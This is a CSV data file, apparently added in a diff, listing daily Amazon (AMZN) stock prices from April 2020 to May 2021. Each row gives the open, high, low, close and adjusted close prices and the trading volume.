+2020-04-17,2372.330078125,2400.0,2316.02001953125,2375.0,2375.0,7930000,AMZN
+2020-04-20,2389.949951171875,2444.97998046875,2386.050048828125,2393.610107421875,2393.610107421875,5770700,AMZN
+2020-04-21,2416.610107421875,2428.31005859375,2279.659912109375,2328.1201171875,2328.1201171875,7476700,AMZN
+2020-04-22,2369.0,2394.0,2351.0,2363.489990234375,2363.489990234375,4212200,AMZN
+2020-04-23,2399.97998046875,2424.219970703125,2382.080078125,2399.449951171875,2399.449951171875,5066600,AMZN
+2020-04-24,2417.0,2420.429931640625,2382.0,2410.219970703125,2410.219970703125,3824900,AMZN
+2020-04-27,2443.199951171875,2444.8798828125,2363.0,2376.0,2376.0,5645600,AMZN
+2020-04-28,2372.10009765625,2373.5,2306.0,2314.080078125,2314.080078125,5269400,AMZN
+2020-04-29,2330.010009765625,2391.889892578125,2310.0,2372.7099609375,2372.7099609375,4591600,AMZN
+2020-04-30,2419.840087890625,2475.0,2396.010009765625,2474.0,2474.0,9534600,AMZN
+2020-05-01,2336.800048828125,2362.43994140625,2258.18994140625,2286.0400390625,2286.0400390625,9772600,AMZN
+2020-05-04,2256.3798828125,2326.97998046875,2256.3798828125,2315.989990234375,2315.989990234375,4865900,AMZN
+2020-05-05,2340.0,2351.0,2307.1298828125,2317.800048828125,2317.800048828125,3242500,AMZN
+2020-05-06,2329.43994140625,2357.449951171875,2320.0,2351.260009765625,2351.260009765625,3117800,AMZN
+2020-05-07,2374.780029296875,2376.0,2343.110107421875,2367.610107421875,2367.610107421875,3396400,AMZN
+2020-05-08,2372.139892578125,2387.239990234375,2357.0,2379.610107421875,2379.610107421875,3206600,AMZN
+2020-05-11,2374.699951171875,2419.669921875,2372.110107421875,2409.0,2409.0,3259200,AMZN
+2020-05-12,2411.85009765625,2419.0,2355.0,2356.949951171875,2356.949951171875,3074900,AMZN
+2020-05-13,2366.800048828125,2407.699951171875,2337.800048828125,2367.919921875,2367.919921875,4782900,AMZN
+2020-05-14,2361.010009765625,2391.3701171875,2353.2099609375,2388.85009765625,2388.85009765625,3648100,AMZN
+2020-05-15,2368.52001953125,2411.0,2356.3701171875,2409.780029296875,2409.780029296875,4235000,AMZN
+2020-05-18,2404.35009765625,2433.0,2384.010009765625,2426.260009765625,2426.260009765625,4357200,AMZN
+2020-05-19,2429.830078125,2485.0,2428.969970703125,2449.330078125,2449.330078125,4320500,AMZN
+2020-05-20,2477.8701171875,2500.010009765625,2467.27001953125,2497.93994140625,2497.93994140625,3998100,AMZN
+2020-05-21,2500.0,2525.449951171875,2442.5400390625,2446.739990234375,2446.739990234375,5114400,AMZN
+2020-05-22,2455.010009765625,2469.85009765625,2430.1298828125,2436.8798828125,2436.8798828125,2867100,AMZN
+2020-05-26,2458.0,2462.0,2414.06005859375,2421.860107421875,2421.860107421875,3568200,AMZN
+2020-05-27,2404.989990234375,2413.580078125,2330.0,2410.389892578125,2410.389892578125,5056900,AMZN
+2020-05-28,2384.330078125,2436.969970703125,2378.22998046875,2401.10009765625,2401.10009765625,3190200,AMZN
+2020-05-29,2415.93994140625,2442.3701171875,2398.199951171875,2442.3701171875,2442.3701171875,3509900,AMZN
+2020-06-01,2448.0,2476.929931640625,2444.169921875,2471.0400390625,2471.0400390625,2928900,AMZN
+2020-06-02,2467.0,2473.530029296875,2445.31005859375,2472.409912109375,2472.409912109375,2529900,AMZN
+2020-06-03,2468.010009765625,2488.0,2461.169921875,2478.39990234375,2478.39990234375,2671000,AMZN
+2020-06-04,2477.429931640625,2507.5400390625,2450.010009765625,2460.60009765625,2460.60009765625,2948700,AMZN
+2020-06-05,2444.510009765625,2488.64990234375,2437.1298828125,2483.0,2483.0,3306400,AMZN
+2020-06-08,2500.199951171875,2530.0,2487.340087890625,2524.06005859375,2524.06005859375,3970700,AMZN
+2020-06-09,2529.43994140625,2626.429931640625,2525.0,2600.860107421875,2600.860107421875,5176000,AMZN
+2020-06-10,2645.0,2722.35009765625,2626.260009765625,2647.449951171875,2647.449951171875,4946000,AMZN
+2020-06-11,2603.5,2671.3798828125,2536.22998046875,2557.9599609375,2557.9599609375,5800100,AMZN
+2020-06-12,2601.2099609375,2621.47998046875,2503.35009765625,2545.02001953125,2545.02001953125,5436100,AMZN
+2020-06-15,2526.60009765625,2584.0,2508.0,2572.679931640625,2572.679931640625,3865100,AMZN
+2020-06-16,2620.0,2620.0,2576.0,2615.27001953125,2615.27001953125,3585600,AMZN
+2020-06-17,2647.5,2655.0,2631.820068359375,2640.97998046875,2640.97998046875,2959300,AMZN
+2020-06-18,2647.010009765625,2659.639892578125,2636.110107421875,2653.97998046875,2653.97998046875,2487800,AMZN
+2020-06-19,2678.080078125,2697.429931640625,2659.0,2675.010009765625,2675.010009765625,5777000,AMZN
+2020-06-22,2684.5,2715.0,2669.0,2713.820068359375,2713.820068359375,3208800,AMZN
+2020-06-23,2726.02001953125,2783.110107421875,2718.0400390625,2764.409912109375,2764.409912109375,4231700,AMZN
+2020-06-24,2780.0,2796.0,2721.0,2734.39990234375,2734.39990234375,4526600,AMZN
+2020-06-25,2739.550048828125,2756.22998046875,2712.139892578125,2754.580078125,2754.580078125,2968700,AMZN
+2020-06-26,2775.06005859375,2782.570068359375,2688.0,2692.8701171875,2692.8701171875,6500800,AMZN
+2020-06-29,2690.010009765625,2696.800048828125,2630.080078125,2680.3798828125,2680.3798828125,4223400,AMZN
+2020-06-30,2685.070068359375,2769.6298828125,2675.030029296875,2758.820068359375,2758.820068359375,3769700,AMZN
+2020-07-01,2757.989990234375,2895.0,2754.0,2878.699951171875,2878.699951171875,6363400,AMZN
+2020-07-02,2912.010009765625,2955.56005859375,2871.10009765625,2890.300048828125,2890.300048828125,6593400,AMZN
+2020-07-06,2934.969970703125,3059.8798828125,2930.0,3057.0400390625,3057.0400390625,6880600,AMZN
+2020-07-07,3058.550048828125,3069.550048828125,2990.0,3000.1201171875,3000.1201171875,5257500,AMZN
+2020-07-08,3022.610107421875,3083.969970703125,3012.429931640625,3081.110107421875,3081.110107421875,5037600,AMZN
+2020-07-09,3115.989990234375,3193.8798828125,3074.0,3182.6298828125,3182.6298828125,6388700,AMZN
+2020-07-10,3191.760009765625,3215.0,3135.699951171875,3200.0,3200.0,5486000,AMZN
+2020-07-13,3251.06005859375,3344.2900390625,3068.389892578125,3104.0,3104.0,7720400,AMZN
+2020-07-14,3089.0,3127.3798828125,2950.0,3084.0,3084.0,7231900,AMZN
+2020-07-15,3080.22998046875,3098.35009765625,2973.179931640625,3008.8701171875,3008.8701171875,5788900,AMZN
+2020-07-16,2971.06005859375,3032.0,2918.22998046875,2999.89990234375,2999.89990234375,6394200,AMZN
+2020-07-17,3009.0,3024.0,2948.449951171875,2961.969970703125,2961.969970703125,4761300,AMZN
+2020-07-20,3000.199951171875,3201.360107421875,2994.02001953125,3196.840087890625,3196.840087890625,7598200,AMZN
+2020-07-21,3232.489990234375,3240.580078125,3105.719970703125,3138.2900390625,3138.2900390625,6121300,AMZN
+2020-07-22,3125.0,3150.0,3065.260009765625,3099.909912109375,3099.909912109375,4104200,AMZN
+2020-07-23,3098.27001953125,3098.27001953125,2970.0,2986.550048828125,2986.550048828125,5656900,AMZN
+2020-07-24,2930.0,3031.580078125,2888.0,3008.909912109375,3008.909912109375,5632400,AMZN
+2020-07-27,3062.0,3098.0,3015.77001953125,3055.2099609375,3055.2099609375,4170500,AMZN
+2020-07-28,3054.27001953125,3077.090087890625,2995.760009765625,3000.330078125,3000.330078125,3126700,AMZN
+2020-07-29,3030.989990234375,3039.159912109375,2996.77001953125,3033.530029296875,3033.530029296875,2974100,AMZN
+2020-07-30,3014.0,3092.0,3005.0,3051.8798828125,3051.8798828125,6128300,AMZN
+2020-07-31,3244.0,3246.820068359375,3151.0,3164.679931640625,3164.679931640625,8085500,AMZN
+2020-08-03,3180.510009765625,3184.0,3104.0,3111.889892578125,3111.889892578125,5074700,AMZN
+2020-08-04,3101.2099609375,3167.239990234375,3101.2099609375,3138.830078125,3138.830078125,4694300,AMZN
+2020-08-05,3143.77001953125,3213.590087890625,3127.300048828125,3205.030029296875,3205.030029296875,3916500,AMZN
+2020-08-06,3194.360107421875,3247.469970703125,3165.429931640625,3225.0,3225.0,3940600,AMZN
+2020-08-07,3224.010009765625,3240.81005859375,3140.669921875,3167.4599609375,3167.4599609375,3936100,AMZN
+2020-08-10,3170.31005859375,3172.510009765625,3101.52001953125,3148.159912109375,3148.159912109375,3167300,AMZN
+2020-08-11,3113.199951171875,3159.219970703125,3073.0,3080.669921875,3080.669921875,3718100,AMZN
+2020-08-12,3108.0,3174.389892578125,3101.419921875,3162.239990234375,3162.239990234375,3522100,AMZN
+2020-08-13,3182.989990234375,3217.52001953125,3155.0,3161.02001953125,3161.02001953125,3149000,AMZN
+2020-08-14,3178.179931640625,3178.239990234375,3120.0,3148.02001953125,3148.02001953125,2751700,AMZN
+2020-08-17,3173.1201171875,3194.969970703125,3154.179931640625,3182.409912109375,3182.409912109375,2691200,AMZN
+2020-08-18,3212.0,3320.0,3205.820068359375,3312.489990234375,3312.489990234375,5346000,AMZN
+2020-08-19,3303.010009765625,3315.89990234375,3256.0,3260.47998046875,3260.47998046875,4185100,AMZN
+2020-08-20,3252.0,3312.6201171875,3238.0,3297.3701171875,3297.3701171875,3332500,AMZN
+2020-08-21,3295.0,3314.39990234375,3275.389892578125,3284.719970703125,3284.719970703125,3575900,AMZN
+2020-08-24,3310.14990234375,3380.320068359375,3257.56005859375,3307.4599609375,3307.4599609375,4666300,AMZN
+2020-08-25,3294.989990234375,3357.39990234375,3267.0,3346.489990234375,3346.489990234375,3992800,AMZN
+2020-08-26,3351.110107421875,3451.739990234375,3344.570068359375,3441.85009765625,3441.85009765625,6508700,AMZN
+2020-08-27,3450.050048828125,3453.0,3378.0,3400.0,3400.0,4264800,AMZN
+2020-08-28,3423.0,3433.3701171875,3386.5,3401.800048828125,3401.800048828125,2897000,AMZN
+2020-08-31,3408.989990234375,3495.0,3405.0,3450.9599609375,3450.9599609375,4185900,AMZN
+2020-09-01,3489.580078125,3513.8701171875,3467.0,3499.1201171875,3499.1201171875,3432200,AMZN
+2020-09-02,3547.0,3552.25,3486.68994140625,3531.449951171875,3531.449951171875,3931500,AMZN
+2020-09-03,3485.0,3488.409912109375,3303.0,3368.0,3368.0,8161100,AMZN
+2020-09-04,3318.0,3381.5,3111.1298828125,3294.6201171875,3294.6201171875,8781800,AMZN
+2020-09-08,3144.0,3250.85009765625,3130.0,3149.840087890625,3149.840087890625,6094200,AMZN
+2020-09-09,3202.989990234375,3303.179931640625,3185.0,3268.610107421875,3268.610107421875,5188700,AMZN
+2020-09-10,3307.219970703125,3349.889892578125,3170.550048828125,3175.110107421875,3175.110107421875,5330700,AMZN
+2020-09-11,3208.68994140625,3217.340087890625,3083.97998046875,3116.219970703125,3116.219970703125,5094000,AMZN
+2020-09-14,3172.93994140625,3187.389892578125,3096.0,3102.969970703125,3102.969970703125,4529600,AMZN
+2020-09-15,3136.159912109375,3175.02001953125,3108.919921875,3156.1298828125,3156.1298828125,4021500,AMZN
+2020-09-16,3179.989990234375,3187.239990234375,3074.14990234375,3078.10009765625,3078.10009765625,4512200,AMZN
+2020-09-17,3009.25,3029.429931640625,2972.550048828125,3008.72998046875,3008.72998046875,6449100,AMZN
+2020-09-18,3031.739990234375,3037.800048828125,2905.5400390625,2954.909912109375,2954.909912109375,8892600,AMZN
+2020-09-21,2906.5,2962.0,2871.0,2960.469970703125,2960.469970703125,6117900,AMZN
+2020-09-22,3033.840087890625,3133.989990234375,3000.199951171875,3128.989990234375,3128.989990234375,6948800,AMZN
+2020-09-23,3120.429931640625,3127.0,2992.3798828125,2999.860107421875,2999.860107421875,5652700,AMZN
+2020-09-24,2977.7900390625,3069.300048828125,2965.0,3019.7900390625,3019.7900390625,5529400,AMZN
+2020-09-25,3054.860107421875,3101.5400390625,2999.0,3095.1298828125,3095.1298828125,4615200,AMZN
+2020-09-28,3148.85009765625,3175.0400390625,3117.169921875,3174.050048828125,3174.050048828125,4224200,AMZN
+2020-09-29,3175.389892578125,3188.260009765625,3132.5400390625,3144.8798828125,3144.8798828125,3495800,AMZN
+2020-09-30,3141.139892578125,3212.8798828125,3133.989990234375,3148.72998046875,3148.72998046875,4896100,AMZN
+2020-10-01,3208.0,3224.0,3172.0,3221.260009765625,3221.260009765625,4971900,AMZN
+2020-10-02,3153.6298828125,3195.800048828125,3123.0,3125.0,3125.0,5613100,AMZN
+2020-10-05,3145.840087890625,3202.530029296875,3140.85009765625,3199.199951171875,3199.199951171875,3775300,AMZN
+2020-10-06,3165.0,3182.0,3090.0,3099.9599609375,3099.9599609375,5086900,AMZN
+2020-10-07,3135.0,3200.0,3132.389892578125,3195.68994140625,3195.68994140625,4309400,AMZN
+2020-10-08,3224.989990234375,3233.2900390625,3174.989990234375,3190.550048828125,3190.550048828125,3174100,AMZN
+2020-10-09,3210.0,3288.989990234375,3197.830078125,3286.64990234375,3286.64990234375,4907900,AMZN
+2020-10-12,3349.93994140625,3496.239990234375,3339.550048828125,3442.929931640625,3442.929931640625,8364200,AMZN
+2020-10-13,3467.989990234375,3492.3798828125,3424.219970703125,3443.6298828125,3443.6298828125,5744700,AMZN
+2020-10-14,3447.0,3464.8798828125,3340.0,3363.7099609375,3363.7099609375,5812700,AMZN
+2020-10-15,3292.010009765625,3355.8798828125,3280.0,3338.64990234375,3338.64990234375,5223400,AMZN
+2020-10-16,3363.22998046875,3399.659912109375,3160.0,3272.7099609375,3272.7099609375,6474400,AMZN
+2020-10-19,3299.610107421875,3329.0,3192.739990234375,3207.2099609375,3207.2099609375,5223600,AMZN
+2020-10-20,3222.280029296875,3266.0,3192.010009765625,3217.010009765625,3217.010009765625,4509700,AMZN
+2020-10-21,3212.5,3233.8798828125,3160.0,3184.93994140625,3184.93994140625,4592700,AMZN
+2020-10-22,3189.8701171875,3198.75,3121.93994140625,3176.39990234375,3176.39990234375,4212000,AMZN
+2020-10-23,3191.0,3205.330078125,3140.0,3204.39990234375,3204.39990234375,3466700,AMZN
+2020-10-26,3198.739990234375,3282.97998046875,3153.300048828125,3207.0400390625,3207.0400390625,5901200,AMZN
+2020-10-27,3224.93994140625,3291.659912109375,3211.300048828125,3286.330078125,3286.330078125,4291000,AMZN
+2020-10-28,3249.300048828125,3264.02001953125,3162.469970703125,3162.780029296875,3162.780029296875,5588300,AMZN
+2020-10-29,3201.27001953125,3257.25,3164.0,3211.010009765625,3211.010009765625,6596500,AMZN
+2020-10-30,3157.75,3167.0,3019.0,3036.14990234375,3036.14990234375,8386400,AMZN
+2020-11-02,3061.739990234375,3079.7099609375,2950.1201171875,3004.47998046875,3004.47998046875,7257400,AMZN
+2020-11-03,3018.530029296875,3074.89990234375,2980.97998046875,3048.409912109375,3048.409912109375,4897900,AMZN
+2020-11-04,3159.989990234375,3244.85009765625,3139.72998046875,3241.159912109375,3241.159912109375,6839000,AMZN
+2020-11-05,3319.969970703125,3366.800048828125,3288.8798828125,3322.0,3322.0,5789300,AMZN
+2020-11-06,3304.639892578125,3322.0,3232.0,3311.3701171875,3311.3701171875,4647300,AMZN
+2020-11-09,3231.030029296875,3289.0,3112.110107421875,3143.739990234375,3143.739990234375,7190400,AMZN
+2020-11-10,3095.02001953125,3114.0,3019.47998046875,3035.02001953125,3035.02001953125,6591000,AMZN
+2020-11-11,3061.780029296875,3139.14990234375,3050.0,3137.389892578125,3137.389892578125,4366900,AMZN
+2020-11-12,3159.949951171875,3175.8798828125,3086.050048828125,3110.280029296875,3110.280029296875,4362000,AMZN
+2020-11-13,3122.0,3141.719970703125,3085.389892578125,3128.81005859375,3128.81005859375,3756200,AMZN
+2020-11-16,3093.199951171875,3142.699951171875,3072.68994140625,3131.06005859375,3131.06005859375,3808700,AMZN
+2020-11-17,3183.5400390625,3189.25,3135.260009765625,3135.659912109375,3135.659912109375,3444700,AMZN
+2020-11-18,3134.0,3140.0,3105.10009765625,3105.4599609375,3105.4599609375,2916800,AMZN
+2020-11-19,3105.31005859375,3125.0,3080.919921875,3117.02001953125,3117.02001953125,3010300,AMZN
+2020-11-20,3117.02001953125,3132.889892578125,3098.050048828125,3099.39990234375,3099.39990234375,3374400,AMZN
+2020-11-23,3116.699951171875,3139.75,3065.4599609375,3098.389892578125,3098.389892578125,4708900,AMZN
+2020-11-24,3100.5,3134.25,3086.260009765625,3118.06005859375,3118.06005859375,3602100,AMZN
+2020-11-25,3141.8701171875,3198.0,3140.260009765625,3185.070068359375,3185.070068359375,3790400,AMZN
+2020-11-27,3211.260009765625,3216.18994140625,3190.050048828125,3195.340087890625,3195.340087890625,2392900,AMZN
+2020-11-30,3208.47998046875,3228.389892578125,3125.550048828125,3168.0400390625,3168.0400390625,4063900,AMZN
+2020-12-01,3188.5,3248.949951171875,3157.179931640625,3220.080078125,3220.080078125,4537000,AMZN
+2020-12-02,3221.64990234375,3232.0,3173.260009765625,3203.530029296875,3203.530029296875,3129300,AMZN
+2020-12-03,3205.4599609375,3228.639892578125,3181.31005859375,3186.72998046875,3186.72998046875,2892000,AMZN
+2020-12-04,3198.2099609375,3198.2099609375,3158.760009765625,3162.580078125,3162.580078125,2913600,AMZN
+2020-12-07,3156.47998046875,3180.760009765625,3141.68994140625,3158.0,3158.0,2751300,AMZN
+2020-12-08,3158.89990234375,3184.1298828125,3120.02001953125,3177.2900390625,3177.2900390625,3286300,AMZN
+2020-12-09,3167.889892578125,3174.429931640625,3088.0,3104.199951171875,3104.199951171875,4100800,AMZN
+2020-12-10,3088.989990234375,3142.10009765625,3076.0,3101.489990234375,3101.489990234375,3030200,AMZN
+2020-12-11,3096.659912109375,3118.669921875,3072.820068359375,3116.419921875,3116.419921875,3064700,AMZN
+2020-12-14,3143.0,3190.469970703125,3126.0,3156.969970703125,3156.969970703125,4155800,AMZN
+2020-12-15,3181.010009765625,3188.5,3130.489990234375,3165.1201171875,3165.1201171875,3319500,AMZN
+2020-12-16,3176.010009765625,3247.0,3163.679931640625,3240.9599609375,3240.9599609375,4427600,AMZN
+2020-12-17,3250.0,3263.510009765625,3221.0,3236.080078125,3236.080078125,3474300,AMZN
+2020-12-18,3243.989990234375,3249.419921875,3171.60009765625,3201.64990234375,3201.64990234375,5995700,AMZN
+2020-12-21,3200.010009765625,3226.969970703125,3166.0,3206.179931640625,3206.179931640625,3836800,AMZN
+2020-12-22,3202.840087890625,3222.0,3180.080078125,3206.52001953125,3206.52001953125,2369400,AMZN
+2020-12-23,3205.0,3210.1298828125,3184.169921875,3185.27001953125,3185.27001953125,2093800,AMZN
+2020-12-24,3193.89990234375,3202.0,3169.0,3172.68994140625,3172.68994140625,1451900,AMZN
+2020-12-28,3194.0,3304.0,3172.68994140625,3283.9599609375,3283.9599609375,5686800,AMZN
+2020-12-29,3309.93994140625,3350.64990234375,3281.219970703125,3322.0,3322.0,4872900,AMZN
+2020-12-30,3341.0,3342.10009765625,3282.469970703125,3285.85009765625,3285.85009765625,3209300,AMZN
+2020-12-31,3275.0,3282.919921875,3241.199951171875,3256.929931640625,3256.929931640625,2957200,AMZN
+2021-01-04,3270.0,3272.0,3144.02001953125,3186.6298828125,3186.6298828125,4411400,AMZN
+2021-01-05,3166.010009765625,3223.3798828125,3165.06005859375,3218.510009765625,3218.510009765625,2655500,AMZN
+2021-01-06,3146.47998046875,3197.510009765625,3131.159912109375,3138.3798828125,3138.3798828125,4394800,AMZN
+2021-01-07,3157.0,3208.5400390625,3155.0,3162.159912109375,3162.159912109375,3514500,AMZN
+2021-01-08,3180.0,3190.639892578125,3142.199951171875,3182.699951171875,3182.699951171875,3537700,AMZN
+2021-01-11,3148.010009765625,3156.3798828125,3110.0,3114.2099609375,3114.2099609375,3683400,AMZN
+2021-01-12,3120.0,3142.139892578125,3086.0,3120.830078125,3120.830078125,3514600,AMZN
+2021-01-13,3128.43994140625,3189.949951171875,3122.080078125,3165.889892578125,3165.889892578125,3321200,AMZN
+2021-01-14,3167.52001953125,3178.0,3120.590087890625,3127.469970703125,3127.469970703125,3070900,AMZN
+2021-01-15,3123.02001953125,3142.550048828125,3095.169921875,3104.25,3104.25,4244000,AMZN
+2021-01-19,3107.0,3145.0,3096.0,3120.760009765625,3120.760009765625,3305100,AMZN
+2021-01-20,3181.989990234375,3279.800048828125,3175.0,3263.3798828125,3263.3798828125,5309800,AMZN
+2021-01-21,3293.0,3348.550048828125,3289.570068359375,3306.989990234375,3306.989990234375,4936100,AMZN
+2021-01-22,3304.31005859375,3321.909912109375,3283.159912109375,3292.22998046875,3292.22998046875,2821900,AMZN
+2021-01-25,3328.5,3363.889892578125,3243.14990234375,3294.0,3294.0,3749800,AMZN
+2021-01-26,3296.360107421875,3338.0,3282.8701171875,3326.1298828125,3326.1298828125,2955200,AMZN
+2021-01-27,3341.489990234375,3346.52001953125,3207.080078125,3232.580078125,3232.580078125,4660200,AMZN
+2021-01-28,3235.0400390625,3301.679931640625,3228.68994140625,3237.6201171875,3237.6201171875,3149200,AMZN
+2021-01-29,3230.0,3236.989990234375,3184.550048828125,3206.199951171875,3206.199951171875,4293600,AMZN
+2021-02-01,3242.360107421875,3350.260009765625,3235.030029296875,3342.8798828125,3342.8798828125,4160200,AMZN
+2021-02-02,3380.0,3427.739990234375,3361.1298828125,3380.0,3380.0,7098600,AMZN
+2021-02-03,3425.010009765625,3434.0,3308.6201171875,3312.530029296875,3312.530029296875,7088800,AMZN
+2021-02-04,3330.0,3347.0,3277.75,3331.0,3331.0,3670700,AMZN
+2021-02-05,3319.0,3377.0,3302.7099609375,3352.14990234375,3352.14990234375,3620800,AMZN
+2021-02-08,3358.5,3365.0,3304.0,3322.93994140625,3322.93994140625,3257400,AMZN
+2021-02-09,3312.489990234375,3338.0,3297.840087890625,3305.0,3305.0,2203500,AMZN
+2021-02-10,3314.0,3317.949951171875,3254.0,3286.580078125,3286.580078125,3151600,AMZN
+2021-02-11,3292.0,3292.0,3248.06005859375,3262.1298828125,3262.1298828125,2301400,AMZN
+2021-02-12,3250.0,3280.25,3233.31005859375,3277.7099609375,3277.7099609375,2335300,AMZN
+2021-02-16,3254.050048828125,3308.300048828125,3253.590087890625,3268.949951171875,3268.949951171875,2574700,AMZN
+2021-02-17,3263.60009765625,3320.909912109375,3259.5,3308.639892578125,3308.639892578125,3297500,AMZN
+2021-02-18,3282.419921875,3338.0,3273.93994140625,3328.22998046875,3328.22998046875,3027400,AMZN
+2021-02-19,3328.22998046875,3333.5,3245.75,3249.89990234375,3249.89990234375,4305200,AMZN
+2021-02-22,3208.1298828125,3232.320068359375,3172.260009765625,3180.739990234375,3180.739990234375,3515700,AMZN
+2021-02-23,3127.030029296875,3204.72998046875,3093.60009765625,3194.5,3194.5,4677200,AMZN
+2021-02-24,3166.75,3171.22998046875,3125.3798828125,3159.530029296875,3159.530029296875,3011300,AMZN
+2021-02-25,3136.739990234375,3178.260009765625,3047.760009765625,3057.159912109375,3057.159912109375,4533800,AMZN
+2021-02-26,3095.199951171875,3122.43994140625,3036.699951171875,3092.929931640625,3092.929931640625,4275900,AMZN
+2021-03-01,3127.889892578125,3149.56005859375,3097.989990234375,3146.139892578125,3146.139892578125,2729100,AMZN
+2021-03-02,3143.469970703125,3163.52001953125,3087.1201171875,3094.530029296875,3094.530029296875,2595800,AMZN
+2021-03-03,3081.179931640625,3107.780029296875,2995.0,3005.0,3005.0,3988700,AMZN
+2021-03-04,3012.0,3058.1298828125,2945.429931640625,2977.570068359375,2977.570068359375,5481600,AMZN
+2021-03-05,3005.0,3009.0,2881.0,3000.4599609375,3000.4599609375,5388600,AMZN
+2021-03-08,3015.0,3064.590087890625,2951.31005859375,2951.949951171875,2951.949951171875,4185000,AMZN
+2021-03-09,3017.989990234375,3090.9599609375,3005.14990234375,3062.85009765625,3062.85009765625,4030000,AMZN
+2021-03-10,3098.449951171875,3116.4599609375,3030.050048828125,3057.639892578125,3057.639892578125,3012500,AMZN
+2021-03-11,3104.010009765625,3131.780029296875,3082.929931640625,3113.590087890625,3113.590087890625,2776400,AMZN
+2021-03-12,3075.0,3098.97998046875,3045.5,3089.489990234375,3089.489990234375,2421900,AMZN
+2021-03-15,3074.570068359375,3082.239990234375,3032.090087890625,3081.679931640625,3081.679931640625,2913600,AMZN
+2021-03-16,3104.969970703125,3128.909912109375,3075.860107421875,3091.860107421875,3091.860107421875,2538800,AMZN
+2021-03-17,3073.219970703125,3173.050048828125,3070.219970703125,3135.72998046875,3135.72998046875,3118600,AMZN
+2021-03-18,3101.0,3116.6298828125,3025.0,3027.989990234375,3027.989990234375,3649600,AMZN
+2021-03-19,3029.22998046875,3077.2900390625,3016.6298828125,3074.9599609375,3074.9599609375,4625400,AMZN
+2021-03-22,3067.85009765625,3126.580078125,3060.050048828125,3110.8701171875,3110.8701171875,2902200,AMZN
+2021-03-23,3127.0,3182.0,3120.85009765625,3137.5,3137.5,3817300,AMZN
+2021-03-24,3151.0400390625,3160.31005859375,3085.14990234375,3087.070068359375,3087.070068359375,2959000,AMZN
+2021-03-25,3072.989990234375,3109.780029296875,3037.139892578125,3046.260009765625,3046.260009765625,3563500,AMZN
+2021-03-26,3044.06005859375,3056.659912109375,2996.0,3052.030029296875,3052.030029296875,3312900,AMZN
+2021-03-29,3055.43994140625,3091.25,3028.449951171875,3075.72998046875,3075.72998046875,2746000,AMZN
+2021-03-30,3070.010009765625,3073.0,3034.0,3055.2900390625,3055.2900390625,2337600,AMZN
+2021-03-31,3064.06005859375,3119.330078125,3062.5,3094.080078125,3094.080078125,3093900,AMZN
+2021-04-01,3117.93994140625,3162.43994140625,3115.550048828125,3161.0,3161.0,2940300,AMZN
+2021-04-05,3173.0,3235.9599609375,3161.239990234375,3226.72998046875,3226.72998046875,3334900,AMZN
+2021-04-06,3223.75,3247.31005859375,3217.0400390625,3223.820068359375,3223.820068359375,2537800,AMZN
+2021-04-07,3233.800048828125,3303.610107421875,3223.64990234375,3279.389892578125,3279.389892578125,3346200,AMZN
+2021-04-08,3310.89990234375,3324.5,3292.0,3299.300048828125,3299.300048828125,2812100,AMZN
+2021-04-09,3304.699951171875,3372.199951171875,3288.89990234375,3372.199951171875,3372.199951171875,4341500,AMZN
+2021-04-12,3355.2099609375,3395.0400390625,3351.14990234375,3379.389892578125,3379.389892578125,3281800,AMZN
+2021-04-13,3400.85009765625,3432.0,3395.6298828125,3400.0,3400.0,3315800,AMZN
+2021-04-14,3404.0400390625,3404.1298828125,3326.0,3333.0,3333.0,3145200,AMZN
+2021-04-15,3371.0,3397.0,3352.0,3379.090087890625,3379.090087890625,3233600,AMZN
+2021-04-16,3380.0,3406.800048828125,3355.590087890625,3399.43994140625,3399.43994140625,3186000,AMZN
+2021-04-19,3390.330078125,3435.929931640625,3360.159912109375,3372.010009765625,3372.010009765625,2725400,AMZN
+2021-04-20,3373.60009765625,3382.989990234375,3316.0,3334.68994140625,3334.68994140625,2623000,AMZN
+2021-04-21,3316.0,3362.860107421875,3303.81005859375,3362.02001953125,3362.02001953125,2211200,AMZN
+2021-04-22,3371.679931640625,3372.8701171875,3301.449951171875,3309.0400390625,3309.0400390625,2580600,AMZN
+2021-04-23,3319.10009765625,3375.0,3308.5,3340.8798828125,3340.8798828125,3192800,AMZN
+2021-04-26,3348.0,3428.449951171875,3330.93994140625,3409.0,3409.0,4880700,AMZN
+2021-04-27,3443.469970703125,3460.0,3398.010009765625,3417.429931640625,3417.429931640625,3827100,AMZN
+2021-04-28,3434.800048828125,3489.8798828125,3425.0,3458.5,3458.5,4631900,AMZN
+2021-04-29,3505.10009765625,3514.449951171875,3435.0,3471.31005859375,3471.31005859375,7682400,AMZN
+2021-04-30,3525.1201171875,3554.0,3462.5,3467.419921875,3467.419921875,7001800,AMZN
+2021-05-03,3484.72998046875,3486.64990234375,3372.699951171875,3386.489990234375,3386.489990234375,5875500,AMZN
+2021-05-04,3356.18994140625,3367.97998046875,3272.1298828125,3311.8701171875,3311.8701171875,5439400,AMZN
+2021-05-05,3338.860107421875,3354.699951171875,3264.360107421875,3270.5400390625,3270.5400390625,3711300,AMZN
+2021-05-06,3270.0,3314.39990234375,3247.199951171875,3306.3701171875,3306.3701171875,4447700,AMZN
+2021-05-07,3319.090087890625,3330.889892578125,3289.070068359375,3291.610107421875,3291.610107421875,4706800,AMZN
+2021-05-10,3282.320068359375,3283.0,3190.0,3190.489990234375,3190.489990234375,5838600,AMZN
+2021-05-11,3136.280029296875,3238.0,3127.3701171875,3223.909912109375,3223.909912109375,4619800,AMZN
+2021-05-12,3185.0,3207.93994140625,3133.10009765625,3151.93994140625,3151.93994140625,4936400,AMZN
+2021-05-13,3185.469970703125,3203.840087890625,3133.0,3161.469970703125,3161.469970703125,3350900,AMZN
+2021-05-14,3185.56005859375,3228.860107421875,3183.0,3222.89990234375,3222.89990234375,3321400,AMZN
+2021-05-17,3245.929931640625,3292.75,3234.590087890625,3270.389892578125,3270.389892578125,3723900,AMZN
+2021-05-18,3292.580078125,3312.0,3230.3701171875,3232.280029296875,3232.280029296875,2828400,AMZN
+2021-05-19,3195.0,3234.75,3184.0,3231.800048828125,3231.800048828125,2679700,AMZN
+2021-05-20,3244.39990234375,3259.679931640625,3236.179931640625,3247.679931640625,3247.679931640625,2633200,AMZN
+2021-05-21,3250.0,3256.68994140625,3197.010009765625,3203.080078125,3203.080078125,4097800,AMZN
+2021-05-24,3215.5,3257.949951171875,3210.5,3244.989990234375,3244.989990234375,2422800,AMZN
+2021-05-25,3266.669921875,3279.820068359375,3213.760009765625,3259.050048828125,3259.050048828125,3261100,AMZN
+2021-05-26,3274.590087890625,3295.72998046875,3258.510009765625,3265.159912109375,3265.159912109375,2384000,AMZN
